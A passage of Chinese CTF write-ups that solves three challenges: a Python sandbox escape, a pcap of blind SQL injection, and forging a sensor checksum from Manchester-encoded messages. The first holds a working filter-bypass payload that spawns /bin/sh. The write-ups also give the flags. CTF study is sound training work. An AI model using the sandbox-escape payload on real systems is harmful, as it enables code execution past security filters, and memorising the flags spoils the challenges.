通过().class.bases[0].subclasses()获取当前加载的类 发现func_globals被过滤了,我们使用__getattribute__绕过 最终payload: w = ().__class__.__bases__[0].__subclasses__() o = w[59].__enter__.__func__.__getattribute__('__global' + 's__')['s'+'ys'].modules['o'+'s'] s = o.__getattribute__('sy' + 'stem') s('/bin/sh')执行payload得到当前sh脚本运行权限 通过cat命令查看文件5c72a1d444cf3121a5d25f2db4147ebb,得到falg最终flag:flag{eee93c33d97aa55f785a7d10ba4ae3ce} 题目名称:流量分析题目描述:sql注入题目附件:https://adworld.xctf.org.cn/media/task/attachments/4d7c14206a5c4b74a0af595992bbf439.pcapng题目writeup:下载附件,得到一个pcapng流量包文件,通过wrireshark打开该文件,根据题目描述SQL注入,那么过滤HTTP协议,对其进行分析看到很多注入语句,sql注入语句都是字符32开始的,第一波语句结束字符是102,恰好对应的ascii为f 第二波语句结束字符是108,对应的ascii为l 第三波语句结束字符是97,对应的ascii为a 第四波语句结束字符是103,对应的ascii为g 第六波语句结束字符是123,对应的ascii为{ 以此类推得到flag: flag{c2bbf9cecdaf656cf524d014c5bf046c} 也可以通过python脚本获取 import re import os def getflag(contents): req_reg = re.compile(r'0,1\),(\d+),1\)\)=(\d+)%23') results = req_reg.findall(contents) flag_map = {} for result in results: if result[0] in flag_map: if int(result[1]) > flag_map[result[0]]: flag_map[result[0]] = int(result[1]) else: flag_map[result[0]] = int(result[1]) flag = "" for i in range(1,39): flag += chr(flag_map[str(i)]) print(flag) if __name__ == "__main__": basedir = os.path.dirname(__file__) filename = "misc.pcapng" file_path = os.path.join(basedir, filename) print(filename) with open(file_path, 'rb') as f: getflag(f.read()) 最终得到falg:flag{c2bbf9cecdaf656cf524d014c5bf046c} 题目名称:传感器2题目描述:已知ID为0x8893CA58的温度传感器未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556 为伪造该类型传感器的报文ID(其他报文内容不变),请给出ID为0xDEADBEEF的传感器1的报文校验位(解码后hex),以及ID为0xBAADA555的传感器2的报文校验位(解码后hex),并组合作为flag提交。例如,若传感器1的校验位为0x123456,传感器2的校验位为0xABCDEF,则flag为flag{123456ABCDEF}。题目writeup:方法一:先把16进制3EAAAAA56A69AA55A95995A569AA95565556都转成2进制,得到: 1111101010101010101010101001010110101001101001101010100101010110101001010110011001010110100101011010011010101010010101010101100101010101010110 又得知曼切斯特是从低到高跳变表示“1”,从高到低跳变表示“0”,即01->1,10->0。可以看到二进制除了前4位,后面都是10,01,差分曼切斯特有跳变为"0",无跳变为"1 那么实际上转换成的二进制为(去掉前面最前面1111):101010101010101010101001010110101001101001101010100101010110101001010110011001010110100101011010011010101010010101010101100101010101010110 因此将编码进行曼切斯特解码: 00000000001001001101100010001001001111001010010110000100000110000001 转成16进制得到: 24d8893ca584181 又得知第一个ID为0x8893CA58的温度传感器就在第一个曼切斯特解码24d8893ca584181中,是第4位到11位为:8893ca58,ID转换成大写为:8893CA58 根据上面原理,可将3EAAAAA56A69AA556A965A5999596AA95656,转换成曼切斯特解码为24d8845abf34119,取第4位到11位,ID转换成大写为:8845ABF3 或者 id1 = 0x8893CA58 msg1 = 0x3EAAAAA56A69AA55A95995A569AA95565556 msg2 = 0x3EAAAAA56A69AA556A965A5999596AA95656 def calc(msg): id='' s = bin(msg)[6:] for i in range(2, len(s), 2): if s[i-2:i] == s[i:i+2]: id += '0' else: id += '1' return hex(int(id, 2)).upper() print(calc(msg1)) print(calc(msg2)) 根据计算机网络报文首部的一些学习,这里我进行了类比,可能校验位应该是最后几位,依次尝试过都无果,但想到,除了最后2位不同,中间ID不同,其他均相同,可见校验位就是最后2位,那么校验位的计算应该是用CRC进行计算,而前面的位数是7位,尝试计算,但是得出的值并不是预计的。 后来想到可能缺位了,故又往前算了一位: 得到:024D 8893CA58 41 81和024D 8845ABF3 41 19 对024D 8893CA58 41和024D 8845ABF3 41进行CRC8运算 可以得到81和19,与猜想一致 下面就可以用这个方法解出flag 带入ID:DEADBEEF和BAADA555 得到:024D DEADBEEF 41 https://www.23bei.com/tool-233.html 024D BAADA555 41 计算CRC8,分别得到:B5和15 方法二: 也可以通过脚本获取: #!/usr/bin/python def crc(x,y): while(x>y): l = len(bin(x)) - len(bin(y)) t = int(bin(y)[2:]+'0'*l,2) x ^= t return x m = 0 for i in range(0x200): if i < 100: continue if crc(0x24d8893ca584100,i) == 0x81 and crc(0x24d8845abf34100,i) == 0x19: m = i print i break print hex(crc(0x00024ddeadbeef4100,m)) print hex(crc(0x00024dbaada5554100,m)) 最终得到flag: flag{B515}